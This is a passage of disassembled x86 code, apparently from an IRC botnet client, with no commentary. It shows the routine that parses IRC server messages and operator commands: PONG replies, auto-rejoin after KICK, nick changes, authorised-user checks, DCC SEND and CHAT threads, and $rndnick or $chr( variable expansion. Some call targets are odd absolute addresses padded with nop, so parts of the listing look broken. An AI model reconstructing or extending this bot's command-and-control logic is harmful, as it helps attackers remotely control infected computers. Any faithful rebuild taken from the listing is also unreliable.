ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2690448h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call near ptr 26903FCh nop jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call near ptr 2690DCCh nop push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 26903FCh jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2690DCCh push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push offset 